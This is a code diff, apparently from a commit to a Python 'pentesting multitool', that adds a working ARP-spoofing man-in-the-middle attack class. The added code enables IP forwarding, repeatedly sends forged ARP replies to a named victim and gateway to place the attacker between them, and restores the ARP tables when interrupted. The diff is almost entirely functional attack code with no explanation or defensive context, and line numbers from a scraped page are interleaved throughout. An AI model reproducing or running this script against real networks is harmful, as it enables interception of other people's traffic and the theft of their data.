6
6
7
7
class mitm_attack (object ):
8
8
9
+ def check (self ):
10
+ if len (sys .argv ) != 5 :
11
+ print ('Usage: python pentesting-multitool.py mitm <interface> <victim IP> <gateway IP>' )
12
+ exit ()
13
+
9
14
def settings_values (self ):
10
15
11
16
# Setting values
12
17
self .interface = sys .argv [2 ]
13
18
self .victimIP = sys .argv [3 ]
14
19
self .gatewayIP = sys .argv [4 ]
15
20
21
+ # Disabling verbose mode
22
+ conf .verb = 0
16
23
17
24
def mac_getter (self , IP ):
18
25
@@ -34,4 +41,47 @@ def ARPing(self):
34
41
# Disabling IP Forwarding
35
42
os .system ("echo 0 > /proc/sys/net/ipv4/ip_forward" )
36
43
37
- exit ()
44
+ exit ()
45
+
46
+ def sending_arp (self ):
47
+
48
+ victim = self .mac_getter (self .victimIP )
49
+ AP_MAC = self .mac_getter (self .gatewayIP )
50
+
51
+ # Those replies places us between them (ARP Spoofing)
52
+ send (ARP (op = 2 , pdst = self .victimIP , psrc = self .gatewayIP , hwdst = victim ))
53
+ send (ARP (op = 2 , pdst = self .gatewayIP , psrc = self .victimIP , hwdst = AP_MAC ))
54
+
55
+ def main_attack (self ):
56
+
57
+ print ("Enabling IP Forwarding...\n " )
58
+ os .system ("echo 1 > /proc/sys/net/ipv4/ip_forward" )
59
+
60
+ try :
61
+ victimMAC = self .mac_getter (self .victimIP )
62
+ AP_MAC = self .mac_getter (self .gatewayIP )
63
+
64
+ except :
65
+ print ("Cannot find targets MAC address" )
66
+ os .system ("echo 0 > /proc/sys/net/ipv4/ip_forward" )
67
+ sys .exit (1 )
68
+
69
+ print ("Poisoning Targets..." )
70
+ while 1 :
71
+ try :
72
+ self .sending_arp ()
73
+ print ("Packets successfully sent.." )
74
+ time .sleep (1 )
75
+ except KeyboardInterrupt :
76
+ print ("Aborting mitm attack.." )
77
+ self .ARPing ()
78
+ break
79
+
80
+ def __init__ (self ):
81
+ self .check ()
82
+ self .settings_values ()
83
+
84
+ # Attack
85
+
86
+ self .main_attack ()
87
+
0 commit comments